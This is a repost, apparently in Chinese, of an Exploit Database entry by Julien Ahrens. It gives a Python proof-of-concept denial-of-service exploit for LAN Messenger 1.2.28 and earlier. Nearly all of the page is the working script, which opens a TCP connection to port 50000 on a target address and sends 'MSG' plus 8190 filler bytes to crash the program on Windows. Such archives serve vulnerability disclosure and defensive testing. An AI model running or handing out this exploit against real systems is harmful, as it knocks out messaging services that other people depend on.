LAN Messenger 1.2.28 – Denial of Service

• Exploit Database
• 16 阅读

• 作者： Julien Ahrens
  日期： 2012-05-01
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18816/

• #!/usr/bin/python
   
  # Exploit Title: LAN Messenger <= v1.2.28 Remote Denial of Service Vulnerability
  # Version: <= v1.2.28
  # Date:2012-04-28
  # Author:Julien Ahrens
  # Homepage:www.inshell.net
  # Software Link: http://lanmsngr.sourceforge.net/
  # Tested on: Windows XP SP3 Professional German, Windows 2008R2 SP1 German
  # Notes: Under WinXP the app needs 8190 Bytes to crash
  # Howto: -
  
  from struct import pack
  import socket,sys
  import os
  
  target="192.168.0.1"
  port=50000
  
  junk = "\x41" * 8190 
  
  print "[*] Connecting to Target " + target + "..."
  
  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try:
  connect=s.connect((target, port))
  print "[*] Connected to " + target + "!"
  except:
  print "[!] " + target + " didn't respond\n"
  sys.exit(0)
  
  print "[*] Sending malformed request..."
  s.send("\x4d\x53\x47" + junk)
  
  print "[!] Exploit has been sent!\n"
  s.close()